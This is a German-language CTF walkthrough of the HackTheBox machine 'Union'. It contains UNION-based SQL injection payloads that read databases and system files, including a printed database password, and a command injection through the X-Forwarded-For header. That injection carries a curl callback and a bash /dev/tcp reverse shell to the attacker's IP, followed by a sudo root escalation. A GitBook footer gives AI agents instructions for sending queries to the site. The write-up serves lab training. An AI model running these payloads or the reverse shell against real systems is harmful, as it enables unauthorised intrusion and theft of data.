> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox Writeup

Union HackTheBox Medium Linux-Maschine Writeup zu SQLi (SQL Injection) - UNION-Injection, SQLi - Dateien lesen, HTTP-Header-Command-Injection - X-FORWARDED-FOR (RCE), Ausnutzung von sudoers-Rechten (Priv

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SQLI (SQL-Injection) - UNION-Injektion
* SQLI - Dateien lesen
* HTTP-Header-Befehlsinjektion - X-FORWARDED-FOR (RCE)
* Missbrauch des sudoers-Privilegs (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92b568cff41f06d467565607eca3e0fa17c89abd%2Fimage%20(2737).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02550040a21260c827983bea3fe0843c80bfe1%2Fimage%20(2738).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bb6aa5981c06b23442a2ee00b8810d0268542d%2Fimage%20(2739).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts werden offene Ports in kompakter Form angezeigt und in die Zwischenablage kopiert (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5c74a429451496ba27519b9d4baf3b356b62212%2Fimage%20(2740).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-222e0e8b78fe98d12d96d81b41c1fdd0d62240b8%2Fimage%20(2741).png?alt=media" alt=""><figcaption></figcaption></figure>

### Dateiliste

Mit gobusteron führen wir eine Dateiaufzählung mit PHP-Erweiterungen durch

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Es gibt zwei Dateien, auf die von außen nicht zugegriffen werden kann: `config.php` und `firewall.php`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aaf16bd4674e7780ff9b37daa61d3397ba7b5931%2Fimage%20(2749).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ed6b0049e589733063f3e741add895823bcc81b%2Fimage%20(2750).png?alt=media" alt=""><figcaption></figcaption></figure>

In `index.php`, wenn wir ein Name in das Formular eingeben, erscheint er in der Antwort.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9e622065556175b81f394c8e8908c7d1941552c%2Fimage%20(2742).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Challenge-Datei fordert von uns eine Flag

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a41b77c54d364fa0f346ed7cb1d3a8874d217a7e%2Fimage%20(2762).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle SQLI - UNION-Injektion

Wir fangen die Anfrage mit Burp Suite ab und ändern die Variable `player`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b60f996757be7fdcec7760d7d991bfe0aeded6e%2Fimage%20(2743).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

Der Name der Datenbank ist `november`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0a0c12b2ed3e714e9251c34ee927a86a5a0603f%2Fimage%20(2744).png?alt=media" alt=""><figcaption></figcaption></figure>

Um alle Datenbanken aufzulisten:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Ergebnis: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4459611b0d3f55909f0f28a65ebf00a86bc04f4%2Fimage%20(2745).png?alt=media" alt=""><figcaption></figcaption></figure>

Liste die Tabellen in `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74ba5beea2a11efd78ce8369f045b9363dbb2c25%2Fimage%20(2746).png?alt=media" alt=""><figcaption></figcaption></figure>

Liste die Spalten in der `players` Tabelle:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Gefundene Spalten: `player`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ef9ac0bc74b02cd3549420ca1ec21503e9a2d72%2Fimage%20(2747).png?alt=media" alt=""><figcaption></figcaption></figure>

**Extraktion von Benutzerdaten**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Gefundene Spieler: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c913c4d3e543e73413ddf0dcd56281a27a230ea3%2Fimage%20(2748).png?alt=media" alt=""><figcaption></figcaption></figure>

Flag-Extraktion:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57134d5c69d5a2497faae42aef8f46eb27cc7023%2Fimage%20(2764).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323a0540509ff6f7f4525d1358da57dfcf38a9cd%2Fimage%20(2763).png?alt=media" alt=""><figcaption></figcaption></figure>

* Flag gefunden: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Dateien lesen**

Lesen `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Wir finden einen `uhc` Benutzer.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d09cdb53f07bc8c5d04d3665fe611b02804a73cc%2Fimage%20(2751).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt

Lesen `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ce99862e1c1f6fb4066518ca5795cb262058610%2Fimage%20(2759).png?alt=media" alt=""><figcaption></figcaption></figure>

Lesen `config.php`, wir finden Datenbank-Zugangsdaten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce9090ea1e6be104073b8640fb1cb248810955aa%2Fimage%20(2761).png?alt=media" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Lesen `firewall.php`, wir verstehen, dass das Absenden der Flag den SSH-Port öffnet:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a30ac7df94cff931a1b35bf31506ef4e008176e%2Fimage%20(2765).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir senden die Flag ab: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c15e04e4f3c91094468051d336d8accec627b834%2Fimage%20(2766).png?alt=media" alt=""><figcaption></figcaption></figure>

Port 22 ist jetzt offen.<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fb6d69e7b6ab553496a81f2ffc02efe2565685%2Fimage%20(2767).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH-Verbindung

Wir verwenden die identifizierten Zugangsdaten zum Anmelden:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b504788cfafcdb267b5da3fb5bd1d8435b7f6b3%2Fimage%20(2768).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

### HTTP-Header-Befehlsinjektion - X-FORWARDED-FOR (RCE)

Wenn du dir die `firewall.php` Datei ansiehst, bemerkst du, dass sie den `HTTP_X_FORWARDED_FOR` Header ausliest und ihn mit `sudo` verwendet, um einen Befehl auszuführen:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-587fb0eef4c811a19bbe7cb93280417236169063%2Fimage%20(2752).png?alt=media" alt=""><figcaption></figcaption></figure>

Da diese Variable über eine HTTP-Anfrage kontrolliert werden kann, können wir einen beliebigen Befehl einschleusen.

**Ausnutzung**

Da dies ein HTTP-Header ist, können wir einen Befehl einschleusen, zum Beispiel mit `curl` um unseren Webserver zu kontaktieren.

**Ein Webserver einrichten:**

```bash
python3 -m http.server 80
```

**Injektionskontrolle mit `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bd163edd6500520a59996761f2bce0e89e8940%2Fimage%20(2753).png?alt=media" alt=""><figcaption></figcaption></figure>

**Umkehr-Shell**

**Auf Port 443 lauschen:**

```bash
nc -nlvp 443
```

**Befehl, um eine Remote-Shell zu erhalten:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Sobald wir verbunden sind, sind wir der Benutzer `www-data`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e59b49dabed35b154ea7d45897e884e7f5ed118%2Fimage%20(2754).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

Mit dem folgenden Befehl prüfen wir `sudo` Berechtigungen:

```bash
sudo -l 
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92c65a648ed1651bfe25f6a749435ac72eaee627%2Fimage%20(2755).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn wir sehen, dass `www-data` jeden Befehl als beliebiger Benutzer ausführen kann (`(ALL: ALL) ALL`), dann können wir eine Root-Shell mit folgendem Befehl starten:

```bash
sudo /bin/bash -p
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-529747ce2a2908ba142a6130b91d50f2515ef69e%2Fimage%20(2756).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165e663c23cbd9b0c075800eddab3187c1b71984%2Fimage%20(2757).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d189debc9b29c9a2806ffc17b091f32b48d0f%2Fimage%20(2758).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
